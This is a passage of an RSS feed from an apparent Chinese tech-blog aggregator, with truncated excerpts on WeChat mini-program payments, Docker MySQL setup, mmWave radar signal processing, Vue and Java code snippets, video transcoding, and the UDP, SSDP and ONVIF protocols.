&#34;0001&#34;,&#34;badao1&#34;,Constants.SIFANGJISIGNAL,null), JJT(&#34;jjt&#34;, &#34;0002&#34;,&#34;badao2&#34;, Constants.SIFANGJISIGNAL,null), CCL(&#34;ccl&#34;, &#34;0005&#34;,&#34;badao3&#34;,Constants.KEERMASIGNAL,Constants.KEERMATURNOUT); private final String apiCode; private final String mineCode; private final String mineName; private final String signalRule; private final String turnoutRule; private static final Map&amp;lt;String, MineMessageEnum&amp;gt; mappings = new HashMap&amp;lt;&amp;gt;(); static { for (MineMessageEnum messageEnum : values()) { mappings.</description>
    </item>
    <item>
      <title>【微信小程序】支付及退款流程详解</title>
      <link>https://bchobby.github.io/posts/4ba52d85d8d91e09f7602eed1db8c102/</link>
      <pubDate>Wed, 24 May 2023 10:14:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ba52d85d8d91e09f7602eed1db8c102/</guid>
      <description>目录&#xA;一. 支付&#xA;1. 前端请求支付&#xA;2. 后端请求微信服务器&#xA;3.后端接受微信服务器返回数据&#xA;4. 前端发起支付&#xA;5.后端接受微信服务器回调&#xA;二.退款&#xA;一. 用户发起退款请求&#xA;二. 商户发起退款请求&#xA;三. 退款完成&#xA;一. 支付 支付主要分为几个步骤：&#xA;前端携带支付需要的数据(商品id，购买数量等)发起支付请求&#xA;后端在接收到支付请求后，处理支付数据，然后携带处理后的数据请求 微信服务器 的 支付统一下单接口&#xA;后端接收到上一步请求微信服务器的返回数据，再次处理，然后返回前端让前端可以开始支付。&#xA;前端进行支付动作&#xA;前端支付完成后，微信服务器会向后端发送支付通知(也就是微信要告诉你客户已经付过钱了)，后端根据这个通知确定支付完成，然后就去做支付完成后的相应动作，比如修改订单状态，添加交易日志啊等等。&#xA;从这几个步骤可以看出，后端主要的作用就是将支付需要的数据传给微信服务器，再根据微信服务器的响应确定支付是否完成。&#xA;这个流程还是蛮容易理解的。形象的说，前端就是个顾客，后端就是店家，微信服务器的统一下单接口就像收银员。顾客跟店家说，我是谁谁谁，现在我要付多少多少钱给你买什么什么。店家就跟收银员说，那个谁谁谁要付多少钱，你准备收钱吧。收银员收到钱后，就去告诉店家，我已经收到钱了，你给他东西吧。&#xA;下面就详细的说明一下各个步骤的具体实现。&#xA;1. 前端请求支付 前端请求支付，就是简单的携带支付需要的数据，例如用户标识，支付金额，支付订单 ID 等等跟 **你的业务逻辑有关** 或者跟 **下一步请求微信服务器支付统一下单接口需要的数据有关** 的相关数据，使用微信小程序的 wx.request( ) 去请求后端的支付接口。&#xA;2. 后端请求微信服务器 后端接收到前端发送的支付请求后，可以进行一下相关验证，例如判断一下用户有没有问题，支付金额对不对等等。&#xA;在验证没什么问题，可以向微信服务器申请支付之后，后端需要使用 微信规定的数据格式 去请求微信的支付统一下单接口。&#xA;微信规定的请求数据:&#xA;这需要较多代码实现。因为需要的数据个数较多，而且还需要加密并以 XML 格式发送。&#xA;首先，有以下数据是使用小程序支付必须提供给微信服务器的参数。&#xA;小程序 appid。写小程序的大概没有不知道这个的。。。&#xA;用户标识 openid。也就是用户的小程序标识，在我上篇博客中说明了如何获取。&#xA;商户号 mch_id 。申请开通微信支付商户认证成功后微信发给你的邮件里有&#xA;商户订单号 out_trade_no 。商户为这次支付生成的订单号&#xA;总金额 total_fee 。订单总金额，很重要的一点是单位是分，要特别注意。&#xA;微信服务器回调通知接口地址 notify_url。微信确认钱已经到账后，会往这个地址多次发送消息，告诉你顾客已经付完钱了，你需要返回消息给微信表示你已经收到了通知。。这个地址不能有端口号，同时要能直接接受POST方法请求。</description>
    </item>
    <item>
      <title>Docker中安装MySQL 5.7的教程</title>
      <link>https://bchobby.github.io/posts/66eabcdcd09cc7416212f0986f4f1063/</link>
      <pubDate>Tue, 23 May 2023 18:01:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66eabcdcd09cc7416212f0986f4f1063/</guid>
      <description> Docker中安装MySQL 5.7的教程 搜索MySQL 5.7的镜像&#xA;docker search mysql:5.7 下载MySQL 5.7的镜像&#xA;docker pull mysql:5.7 运行MySQL 5.7的容器：&#xA;docker run -p 3306:3306 --name mysql57 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7 其中，-p参数指定端口映射，–name参数指定容器名称，-e参数指定环境变量，-d参数指定后台运行。&#xA;至此，MySQL 5.7的安装和启动已经完成。可以开始使用MySQL 5.7了，然后打开Navicat连接一下看看吧。&#xA;进入MySQL 5.7的容器：&#xA;docker exec -it mysql57 bash 在容器中运行MySQL 5.7：&#xA;mysql -uroot -p123456 </description>
    </item>
    <item>
      <title>搭建 Python 开发环境</title>
      <link>https://bchobby.github.io/posts/8a822fcd94568340cadb6e63f46657d9/</link>
      <pubDate>Tue, 23 May 2023 17:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a822fcd94568340cadb6e63f46657d9/</guid>
      <description>前言 所谓 “工欲善其事，必先利其器”。在学习 Python 之前需要先搭建 Python 开发环境，由于 Python 是跨平台的，所以可以在多个操作系统上进行编程，并且编写好的程序可以在不同系统上运行。常用的的操作系统为 Windows、Linux、Mac OS。&#xA;Windows上推荐使用 Windows 7 及以上版本，另外 Python 3.5 及以上版本不能在 Windows XP 系统上使用；&#xA;Linux 系统推荐使用 Ubuntu 版本；&#xA;Mac OS X 10.3（Panther）开始已经包含 Python；&#xA;安装 Python 要进行 Python 开发，需要先安装 Python 解释器。因为 Python 是解释型编程语言，所以需要一个解释器，这样才能运行我们编写的代码。&#xA;以 Windows 系统为例，选择下载64位离线安装包；&#xA;可以在命令行输入 “python” 查看是否安装完成；&#xA;Python 自带的开发工具 IDLE 在安装 Python 后，会自动安装一个 IDLE。它是一个 Python Shell（可以在打开的 IDLE 窗口的标题栏上看到），也就是一个通过输入文本与程序交互的途径，程序开发人员可以利用 Python Shell 与 Python 交互。初学者建议一开始可以使用 IDLE 来编写代码。&#xA;整理了一些 IDLE 中常用的快捷键，方便新人快速上手&#xA;第三方开发工具 除了 Python 自带的 IDLE 之外，还有很多能够进行 Python 编程的开发工具。\</description>
    </item>
    <item>
      <title>车载与体征/手势检测 毫米波雷达信号处理流程</title>
      <link>https://bchobby.github.io/posts/e808f43e415bed36996c1df05a17f25d/</link>
      <pubDate>Tue, 23 May 2023 16:38:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e808f43e415bed36996c1df05a17f25d/</guid>
      <description>说明 本篇博文旨在搭建一个车载毫米波雷达、体征检测(呼吸心跳检测)、手势识别信号处理的框架，介绍其流程，并尽可能多地给出一些流程中的细节处理(内容确实几乎都是文字内容..)，本篇博文不涉及各部分算法的具体原理与实现。本篇博文内容其实很简单，也会基于博主本人的积累以及读者的反馈不断更新内容，我们一起维护，我会定期完善。&#xA;Blog:&#xA;20221012博文第一次撰写&#xA;文章架构 目录&#xA;说明&#xA;文章架构&#xA;一、毫米波雷达信号处理概述&#xA;二、车载毫米波雷达的信号处理&#xA;三、体征检测与手势识别的雷达信号处理&#xA;四、总结&#xA;五、参考资料&#xA;一、毫米波雷达信号处理概述 应用于体征检测的雷达信号类型有很多，调频连续波(FMCW，chirp)是其中的一种，但现阶段应用于车载的基本就只有chirp的信号形式，后续对信号处理流程的说明都基于chirp的信号形式。&#xA;FMCW雷达的信号处理流程并不复杂，车载的：到从ADC数据到点云，体征检测的：从ADC数据到时间-相位的波形图，信号的处理流程和方法其实比较固定。各车载毫米波雷达厂家的信号处理方法也大同小异，正是基于此，加特兰在其芯片中甚至直接将得到点云之前信号处理过程硬化了，软件开发者只需要给硬件接口配置合适的参数即可，处理流程的硬化可以极大程度地提高处理速度、降低开发难度。&#xA;但是现阶段对雷达的信号处理已经不仅是限于对目标的定位和跟踪，越来越高的比如识别、分类乃至成像等要求都希望雷达可以实现，于是包括机器学习等方法开始被用到了雷达的信号处理中。此外，针对车载雷达的应用场景，各类ADAS报警功能的实现；针对体征检测的场景，病人的诊断报告以及一些应用场景下的报警功能的实现，连同这些更后端的功能实现都需要集中到雷达中做。&#xA;综合来看，雷达的信号处理流程虽然不复杂且比较固化，但是涉及的(可供研究和优化的)细节还是有很多的，此外，包括跟踪、分类、实际应用场景下的功能实现等也丰富了信号处理的内容，给信号处理工程师带来了更多的挑战，理清楚信号处理的流程，搭建一整个的知识框架是十分有必要的，这也是本篇博文想要做的事情。&#xA;博主本人现阶段对基于机器学习的方法做分类和识别，以及后端的应用功能的实现并不熟悉，相关原理和更细节的说明我会在往后进行补充。此外本人现阶段接触体征检测/手势识别还极少，有不当之处欢迎指正。&#xA;二、车载毫米波雷达的信号处理 车载和体征检测/手势识别雷达的射频前端基本一致：包括chirp的收发(当然车载的以及体征检测的对chirp的包括周期、带宽、斜率等的设置是不一样的)、混频、滤波、增益控制，直到ADC采集到原始的数据，现阶段的混频有两种方案：单路或IQ两路，这两种方案也都可以应用于车载以及体征检测，IQ两路可以减小对ADC采样率的要求，且距离维FFT后不需要丢掉多余的数据(单路在距离FFT后需要丢掉后面一半的数据)，当然其成本会高很多，关于射频前端以及这两种混频方案的区别与优劣可以参考之前的博文：毫米波雷达的硬件架构与射频前端_墨@#≯的博客-CSDN博客。&#xA;车载毫米波雷达的大体的信号处理框架大体如下：&#xA;车载毫米波雷达信号处理流程&#xA;对前述各个流程的细节说明：&#xA;对于雷达的单帧数据，ADC采集完成后，对应到各个通道的数据是一个N*M大小的数据矩阵，其中N为单个chirp下的采样点数，N也被称为快时间维，M为单帧下对应到该通道的chirp数，M也被称为慢时间维。假设一共有K个通道，则对应ADC数据(radar cube)大小为N*M*K。&#xA;对这K个N*M大小的矩阵做2D-FFT就完成了二维压缩，随后为了增加SNR，在做CFAR检测前有一个对K个二维压缩后的矩阵进行累加的过程，累加的方法有很多，常用的是非相干累加：把K个二维压缩后的矩阵取绝对值并累加，得到一个累加后的幅值矩阵【值得注意的是，可能是如果直接FFT后累加会超过32bit能装载值的上限？所以Ti在累加之前取了log2，关于整个数据处理过程中一些中间值的大小是否会超过限定bit数下的上限，是我们在产品研发的数据处理时需要考虑的，比如加特兰在其做FFT的过程中会对每一级的中间值进行右移的操作以减小值的大小。】；另外的一种累加方法是相干累加：给不同的通道加不同的权值再累加(类似波束成形，这些权值共同构成一个导向矢量)，这种相干累加可以通过设置的权值使雷达视场内其中一些方向的能量增加，从而增加这些区域的目标检测准确度，一般是会设置不同的权值，并对这些权值下得到的累加后的幅值矩阵分别做CFAR处理，再对这些CFAR的结果取并集。&#xA;累加完成后就是对累加得到的幅值矩阵做CFAR处理，CFAR算法有很多，比如CA-CFAR、OS-CFAR、GO/SO-CFAR等，做CFAR操作时，一种比较有意思的操作是分区CFAR，所谓的分区CFAR是指针对不同的距离区域使用不同的CFAR算法或者同一种CFAR使用不同的保护单元、参考单元以及阈值，分区CFAR的依据是：处在雷达不同距离门下的目标其能量一般不一样，为了减少虚警和漏警的情况发生，比如可以考虑在近处的位置将阈值设置得大一些，当然有基于距离的分区CFAR也就有基于速度的分区CFAR,一些更细节的东西可以参考加特兰芯片的Baseband User-guide 加特兰微电子 - Alps (calterah.com),里头有比较详细的说明。&#xA;CFAR完成后此时我们便可以基于被检测到的点在该二维矩阵中的横纵坐标索引得到该点对应的距离和速度的信息，但此时该速度信息还不能说是可信的，如果目标的速度超过了我们设计参数时的最大无模糊速度值：&#xA;式中，为该矩阵(该通道接收)前后两个chirp(两列)之间的时间间隔，事实上当发射通道增加时，该最大无模糊测速范围是很容易达到甚至超过的：举例来说，我们假设有3个发射天线按照TDM-MIMO的模式发射，相邻两天线发射的chirp间隔为40us(该值对于车载毫米波雷达来说不是很大),则这里的 = 120us,于是对应的最大无模糊测速范围约为8m/s，该值无疑是不够的，我们还是能检测到速度大于最大无模糊测速范围的目标，只是此值“藏在”了无模糊测速范围内，于是此时我们就需要进行速度解模糊，速度解模糊目的就是将目标的真实速度求出来，速度解模糊的方法很多，一般需要发射端帮忙，相关的具体的内容我会在后续的博文中作为一个专题给出(不只是速度模糊还有角度模糊等)。&#xA;做完速度解模糊后，我们得到的目标的真实速度，此时我们还需要知道目标的角度才能准确对目标进行定位，但是在测角之前，针对TDM-MIMO的发射模式我们还需要做相位补偿(这里的相位补偿也只需要针对TDM这种各天线不在同一时刻发射的情况，其它的发射情况并不需要，详情可以参考我之前的博文：车载毫米波雷达MIMO阵列的天线发射问题_墨@#≯的博客-CSDN博客)，相位补偿是针对当目标在运动以及天线是以时分的方式发射时的场景，这种情况下前后发射天线对应的通道会有因目标运动导致的相位差产生，该相位差值会影响测角，所以我们需要将该相位差补偿掉，且这一补偿的前提是测速的准确性！补偿的方法是以第一个发射天线为基准，对后续的发射天线对应各接收通道减去速度引起的相位差值： 2*pi*(V*P*Tc/λ)，式中P = 1,2,…S,对应后续各个发射天线(假设一共有S+1个发射天线)。&#xA;CFAR检测的每个结果，我们其实并不知道在这个距离和速度门下藏有多少个目标，在完成相位补偿后就可以进行测角(DOA估计)操作了，该部分的测角操作后得到多少个目标，才是该距离和速度门下有多少个目标。值得注意的是，对于非4D毫米波雷达的实际应用场景(特别是针对动目标)，同距离和速度门下的目标数量其实很少(基本只有一个？)，特别是我们可以把距离和速度分辨率做得很高，这进一步减少了同一个距离和速度门下存在多个目标的可能性；但是对于4D毫米波雷达，雷达的角分辨率很高，我们需要测静止目标，且要求得到更多的点云信息，此时我们需要尽可能多且全地从该距离和速度门中拿到较多的目标点云信息。测角是车载雷达一个比较棘手但很重要的步骤，关于目标的DOA估计可以参看我后续会写的一篇关于车载毫米波雷达DOA估计的博文。&#xA;完成测角的操作后，我们此时便得到了目标作为一个点的所有信息：包括其距离、速度、角度(可以包括其水平和俯仰角)，还可以得到该点的SNR等信息，这些信息便可以帮助我们进行后续的聚类操作，适用于车载毫米波雷达的常用聚类方法为DBSCAN，聚类的目的在于将单个可能得到的诸多点汇集成一点以方便后续的跟踪等数据处理的操作。&#xA;随后我们再基于聚类得到的点云做跟踪处理，车载毫米波雷达实际应用时是随着车一同运动的，雷达自身也有速度，而我们之前计算得到的是雷达与目标之间的相对的径向速度，此时我们需要从CAN中获取车速以及车的转向角等信息将目标转成以大地为参考系的速度（关于车速转换及其与车辆方向的关系等这些细节我会在后续出一期专题以研究该问题），来辅助这里的跟踪操作，目标跟踪主要有两部分内容：数据关联算法+滤波算法，数据关联可以使用比如最近邻算法等，滤波则有扩展卡尔曼滤波(EKF)等，这部分的算法细节不再本博文的讨论范围，博主本人对这些接触也比较少，后续随着积累的加深可以出一期相关的博文。&#xA;如果ADAS功能交给车内的域控去实现，此时对于雷达来说便完成了它的任务，但是现阶段ADAS功能更多的还是在雷达内部实现，ADAS功能比如包括ACC、AEB、BSD、LCA等，相关的介绍以及行业标准我会近期出一期博文做详细点的介绍，雷达需要基于点云信息使用算法对满足条件的情况发出预警信息。&#xA;补充说明1：&#xA;对于传统的车载毫米波雷达，其实还有一个细节：静态杂波滤除，该部分的处理一般放在2D-FFT之前，该方法一般是针对1D-FFT后的数据，每个数据减去同一个距离门下的速度维度的均值以达到去除静止目标的目的。因为传统的车载毫米波雷达由于不具备测高、识别能力，毫米波雷达无法判断检测到的物体在高空还是在地面（汽车是否能通过），也无法判断该物体是否能轧过（例如地面的易拉罐、窨井盖）。如果都判定为障碍物，则汽车会频繁减速刹车，严重影响驾驶体验。因此行业内采用“静态杂波滤除”，将所有静止物体信号过滤掉。但这种做法存在较大隐患，这也是Tesla前期几起事故的原因之一：摄像头没有识别出倾倒的白色货车车厢，毫米波雷达识别到，但是结果在决策中置信度太低，导致车辆没有触发自动紧急自动功能。&#xA;补充说明2：&#xA;前面提到有4D雷达，以及在雷达内部实现包括目标识别和分类的功能(或者说不限于雷达内部，而是基于4D雷达采集的数据实现目标识别和分类)，该话题是现阶段车载毫米波雷达领域十分热门的话题，虽然在产品上暂时还没有实现，但是得益于4D毫米波雷达极高的角分辨率，针对4D雷达所采集的数据使用各种方法(特别是机器学习)做目标识别和分类相关的文章近些年可谓层出不穷。&#xA;基于4D毫米波雷达的目标识别和分类，信息来源可以是4D雷达致密的点云(至少相较于传统的毫米波雷达，当然4D毫米波雷达其点云的密度相较激光雷达还是差很多的)，此时的点云应该是聚类前的点云。此外，从ADC数据直到点云数据这中间的数据处理其本质是一个信息筛选的过程，我们在获取我们想要的信息的同时其实也丢掉了很多可能有用的信息，这些信息可能我们人没法去使用，但是喂给深度学习算法是另外一回事了，所以很多的目标识别和分类方法是基于比如距离-多普勒图、距离-角度图去实现的，相关的内容博主本人现阶段也只是简单的了解，更多的我会随着个人积累和理解的加深在后续出相关的专题博文做更详细的介绍。&#xA;（最近又了解到，不只是4D毫米波雷达，包括角雷达和前向雷达其实OEM都希望雷达能给出目标对应的分类信息。）&#xA;补充说明3：&#xA;前面给出的车载毫米波雷达的信号处理流程可以说是完备的，但是实际实践起来不同的厂家(包括上游芯片厂家给的demo，以及毫米波雷达厂家其产品中的实践)可能会有一些差异，比如读者可以参考Ti相关的SDK中给的code和说明。但是总体而言大同小异，且读者在理清楚了前述框架的前提下再去看任何厂家的雷达信号处理对其流程的理解应该不再有困难。&#xA;三、体征检测与手势识别的雷达信号处理 这部分的内容博主现阶段也算是早期接触，想着一并做个总结，于是一起放在了这里。包括车载雷达、体征检测、手势识别，对应的雷达硬件架构可以说一样的，可以参考我之前写的博文：毫米波雷达的硬件架构与射频前端_墨@#≯的博客-CSDN博客，后两者对实时性也有要求但整体上没有车载那么高，此外后两者没有测速的要求，所以从雷达的发射与处理的角度来说后两者的要求会更低一些，另外，后两者其实可以归为消费电子产品，从包括法规在内的要求上也没有车规级的车载雷达的要求高。体征检测主要包括呼吸和心跳检测，体征检测与手势识别信号处理的方式不太一样，后文将分别介绍。&#xA;关于呼吸和心跳检测：&#xA;总体上来说：对采集的adc信号进行距离维度的fft后，找到目标的对应距离门，并提取该距离门的相位值，对多帧都进行该操作(中间还涉及到相位的解模糊等操作)，随后对得到的该时间-相位信息基于下述正常的频率范围做带通滤波，分别得到呼吸和心跳下的时域信息，随后对其做傅里叶变换得到目标的呼吸和心跳频率信息。&#xA;From front&#xA;From back&#xA;生命体征&#xA;频率&#xA;幅度&#xA;幅度&#xA;呼吸频率(成人)&#xA;0.1—0.5Hz&#xA;1---12mm&#xA;0.1---0.5mm</description>
    </item>
    <item>
      <title>vue3.2 elementplus 中 popover组件指定按钮触发</title>
      <link>https://bchobby.github.io/posts/d945c526361645cf178385afcb087aff/</link>
      <pubDate>Tue, 23 May 2023 16:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d945c526361645cf178385afcb087aff/</guid>
      <description>&amp;lt;template&amp;gt;&#xA;&amp;lt;el-button type=&#34;primary&#34; @click=&#34;(e:any)=&amp;gt;showLogin(e)&#34; &amp;gt; 指定触发按钮 &amp;lt;/el-button &amp;gt;&#xA;&amp;lt;el-popover&#xA;v-if=&#34;popVisible&#34;&#xA;placement=&#34;bottom&#34;&#xA;:width=&#34;300&#34;&#xA;trigger=&#34;click&#34;&#xA;v-model:visible=&#34;popVisible&#34;&#xA;virtual-triggering&#xA;:virtual-ref=&#34;tempRef&#34;&#xA;:show-arrow=&#34;false&#34;&#xA;popper-class=&#34;pop-class&#34;&#xA;&amp;gt;&#xA;我是content&#xA;&amp;lt;/el-popover&amp;gt;&#xA;&amp;lt;/template&amp;gt;&#xA;&amp;lt;script lang=&#34;ts&#34; setup&amp;gt;&#xA;import {ref,unref,nextTick} from &#39;vue&#39;&#xA;const popVisible= ref&amp;lt;boolean&amp;gt;(false);&#xA;const tempRef = ref()&#xA;const showLogin = (e:any)=&amp;gt;{&#xA;const evt = e || (window as any).e || (window as any).event;&#xA;if (unref(tempRef) &amp;amp;&amp;amp; unref(tempRef).tempRef) popVisible.value = false&#xA;nextTick(() =&amp;gt; {&#xA;tempRef.value = evt.currentTarget&#xA;popVisible.value = true&#xA;})</description>
    </item>
    <item>
      <title>reentrantLock的使用</title>
      <link>https://bchobby.github.io/posts/9211e7cfadcee416f42ee34b417bd3e1/</link>
      <pubDate>Tue, 23 May 2023 16:30:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9211e7cfadcee416f42ee34b417bd3e1/</guid>
      <description>reentrantLock是和锁有关，那么必然就涉及到并发操作，所以我们先构建一个项目：&#xA;依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 准备工作 往redis里面放一个值，num，值设置成100&#xA;相关代码 package com.jiubodou.bingfa.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import java.util.concurrent.locks.ReentrantLock; /** * @ClassName MyController * @Description * @Author huyingliang * @Date 2023/5/23 15:32 */ @RestController public class MyController { public static ReentrantLock reentrantLock = new ReentrantLock(); @GetMapping(&#34;/&#34;) public String sayHello() { return &#34;</description>
    </item>
    <item>
      <title>java 正则表达式精确查找和替换指定字符</title>
      <link>https://bchobby.github.io/posts/c36c7eb398fb3ed66bdd2dd3ddc0f0a4/</link>
      <pubDate>Tue, 23 May 2023 15:18:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c36c7eb398fb3ed66bdd2dd3ddc0f0a4/</guid>
      <description>情形： 在复制模型的时候，要给名称加上“-复制”。一开始用的是 replace进行全部替换。在测试的时候，出现有元素名称跟模型名称是一样的，这样替换就有问题。这时候要改成正则去匹配和替换对应内容。&#xA;{ &#34;flowModel&#34;: { &#34;flowMod&#34;: 502, &#34;flowType&#34;: 2, &#34;flowTypeName&#34;: &#34;普通流程&#34;, &#34;flowTypeNameUs&#34;: &#34;common&#34;, &#34;flowName&#34;: &#34;流程表单模型A&#34;, &#34;flowNameUs&#34;: &#34;流程表单模型A&#34;, &#34;fieldName&#34;: &#34;流程表单模型A&#34;, &#34;state&#34;: &#34;A&#34; }, &#34;formModel&#34;: { &#34;formId&#34;: 108, &#34;flowMod&#34;: 502, &#34;flowName&#34;: &#34;流程表单模型A&#34;, &#34;flowNameUs&#34;: &#34;流程表单模型A&#34;, &#34;formName&#34;: &#34;流程表单模型A&#34;, &#34;formNameUs&#34;: &#34;流程表单模型A&#34;, &#34;fieldName&#34;: &#34;流程表单模型A&#34; } } 目标： 替换里面 flowName， flowNameUs，formName和formNameUs的名称&#xA;先处理一个 先写正则表单式： String pattern =&#34;\&#34;flowName\&#34;&#34;+ &#34;:&#34;+&#34;\\s*\&#34;&#34; + modelName + &#34;\&#34;&#34;; \\s*可以匹配0到多个空格&#xA;匹配到对应值后，用整个值进行替换&#xA;public static String matchReplaceName(String content, String modelName, String newModelName) { String pattern =&#34;</description>
    </item>
    <item>
      <title>视频转码服务器配置H.265转码H.264方法</title>
      <link>https://bchobby.github.io/posts/741837c889922d299d931373190353d6/</link>
      <pubDate>Tue, 23 May 2023 15:14:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/741837c889922d299d931373190353d6/</guid>
      <description>视频转码服务器应用在不同的视频编码格式之间的互转，通过部署视频转码服务器可以快速的解决各种视频间的编码格式不兼容的问题，助力视频项目快速落地。今天我们以新领通PRN1600视频转码服务器为例，看一下，如何讲H.265的视频实时转换为H.264编码。&#xA;首先我们用GB28181方式去摄像头拉流，当然，也可以通过RTSP方式进行拉流。&#xA;1. 配置摄像头视频编码为H.265 摄像头视频编码配置界面 我们采用海康摄像头作为演示，配置海康摄像头为H.265编码，分辨率1080P&#xA;2. 配置国标GB/T28181注册到转码服务器 在海康摄像头平台接入界面，可以配置摄像头国标参数，可以直接注册到视频转码服务器上。我们用于演示的情况可以直接配置。在实际项目中，你的摄像头可能注册在NVR，国标监控平台上 。在项目中，视频转码网关可以直接对接NVR，监控平台，配置方法大同小异。&#xA;3.视频转码服务器上配置一个编码规则 通过配置一个转码规则，将视频转码为H.264，分辨率为720P，可以灵活的配置转码规则，通过配置多个转码规则，达到不同的转码效果。在转码策略时灵活调用。&#xA;4. 配置转码策略 配置一个转码策略，选择我们刚刚配置好的转码规则，如现在的转码策略是不管转码服务器拉的视频流是什么编码格式，都根据720规则来处理。如上所示，720规则就是所有视频转换为H.265，分辨率为720P。&#xA;5.通过VLC测试拉一路FLV视频流 完成以上配置，我们可以使用VLC进行测试。通过VLC视频播放器直接拉一路国标的摄像头，并采用FLV格式播放。&#xA;通过VLC去拉GB28181的国标ID为34020000001320000005的摄像头。&#xA;可以成功拉出视频流 我们进入转码服务器运行状态界面，可以查看到此时的转啊状态。&#xA;我们可以通过转码状态界面查看到，此时，一路输入到视频，编码是H.265，分辨率是1080P，而输出视频是H.264编码，720P的分辨率。 并可以查看此时的延迟，抖动，帧率，码率等重要信息，并可以根据具体需求在转码规则和策略中进行调整。&#xA;当然，新领通视频转码服务器还支持输出国标28181，RTP，RTSP,RTMP，HLS,SIP,WebRTC等多种方式，本文只演示国标28181转码FLV的方式，后续会给大家介绍更多的转码方法和应用场景。</description>
    </item>
    <item>
      <title>UDP/SSDP/ONVIF协议之间的区别</title>
      <link>https://bchobby.github.io/posts/e0d59f60fe777e1f5e04c57a437e789a/</link>
      <pubDate>Tue, 23 May 2023 15:05:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0d59f60fe777e1f5e04c57a437e789a/</guid>
      <description>UDP协议作为一种简单而高效的传输协议，保持着相对稳定的发展。而SSDP协议和ONVIF协议则在智能家居和视频监控领域发挥着重要的作用，随着技术的进步和标准的完善，它们不断适应新的需求和挑战，以促进设备之间的互联和互操作性。&#xA;UDP UDP协议（User Datagram Protocol）是一种面向无连接的传输协议，它位于OSI模型的传输层。UDP提供了一种简单的数据传输机制，它不像TCP协议那样提供可靠的数据传输和错误恢复机制，而是将数据报直接发送给目标地址，因此具有低延迟和较小的开销。&#xA;UDP协议的发展演变相对较少，它作为互联网传输协议的一部分，几乎没有发生实质性的变化。然而，UDP仍然广泛应用于许多网络应用中，特别是那些对实时性要求较高的场景，如音频和视频流传输、在线游戏等。UDP协议类似于订阅发布模式。&#xA;SSDP SSDP协议（Simple Service Discovery Protocol）是一种基于UDP的网络协议，它用于设备的发现和服务的自动配置。SSDP主要用于在局域网中发现支持Universal Plug and Play（UPnP）的设备，并允许这些设备自动配置网络设置和服务。它通过多播方式发送服务发现消息，从而使设备能够自动发现和连接到网络中的其他设备。&#xA;SSDP协议的发展演变主要围绕UPnP技术的发展。UPnP是一种网络协议集合，它允许设备自动发现、连接和配置网络服务。随着智能家居和物联网的兴起，UPnP和SSDP在设备互联和通信方面变得越来越重要。然而，由于SSDP协议的安全性和隐私问题，最新的发展趋势是将其替换为更安全的替代协议，如mDNS（Multicast DNS）和DNS-SD（DNS-Based Service Discovery）。&#xA;ssdp简单服务发现协议,在udp协议基础的上层协议 .但是只针对内网239.255.255.250:1900 这样一个内网端口.该机制已经非常普遍,如果我们订阅239.255.255.250:1900 就会发现,每台电脑的 谷歌浏览器/edge浏览器/nodejs 等等都往这里发消息&#xA;只有:ssdp:discover查询 /live心跳/ byebye离线 三种主动发送，另外如果符合其他设备的查询条件ssdp:discover，自己则会可以回复该设备。&#xA;ONVIF ONVIF协议（Open Network Video Interface Forum）是一个开放的网络视频接口标准，它旨在实现不同厂商的网络摄像机和监控设备之间的互操作性。ONVIF协议定义了一组标准和规范，以确保设备之间的互联和互操作性，包括设备发现、设备管理、视频流传输和事件处理等方面。&#xA;ONVIF协议的发展演变主要涉及协议版本的更新和功能的扩展。随着技术的发展和市场需求的变化，ONVIF协议的不断更新使得设备之间的互操作性得到改善，并支持更多的功能和特性。例如，最初的ONVIF协议版本支持基本的视频流传输和设备管理功能，而较新的版本则增加了更高级的功能，如运动检测、智能分析和音频传输等。&#xA;目前，网络摄像机的标准协议，国际标准上有三大类：ONVIF、PSIA和HDCCTV，国内标准有国标GB/T28181。ONVIF阵营日益壮大，与PSIA、HDCCTV相比，无论是支持厂商的数目、厂商的知名度，还是市场占有率都遥遥领先。ONVIF标准的厂商覆盖芯片、视频前端设备、存储设备、系统平台、智能分析设备、门禁、传感设备等各个安防相关领域。我们说的IPC摄像头只是ONVIF标准里的一个分支而已，可见ONVIF的强大。&#xA;ONVIF（Open Network Video Interface Forum，开放型网络视频接口论坛）以公开、开放的原则共同制定开放性行业标准。&#xA;从ONVIF官网上可以了解到，为适应各种不同的参与级别，ONVIF提供了不同等级的会员企业资格，其中不乏国内外著名的设备制造商与集成商，国内的华为、海康威视、浙江大华、波粒科技和佳信捷也是ONVIF论坛的高级会员。&#xA;ONVIF技术框架&#xA;ONVIF规范中设备管理和控制部分所定义的接口均以Web Services的形式提供。ONVIF规范涵盖了完全的XML及WSDL的定义。每一个支持ONVIF规范的终端设备均须提供与功能相应的Web 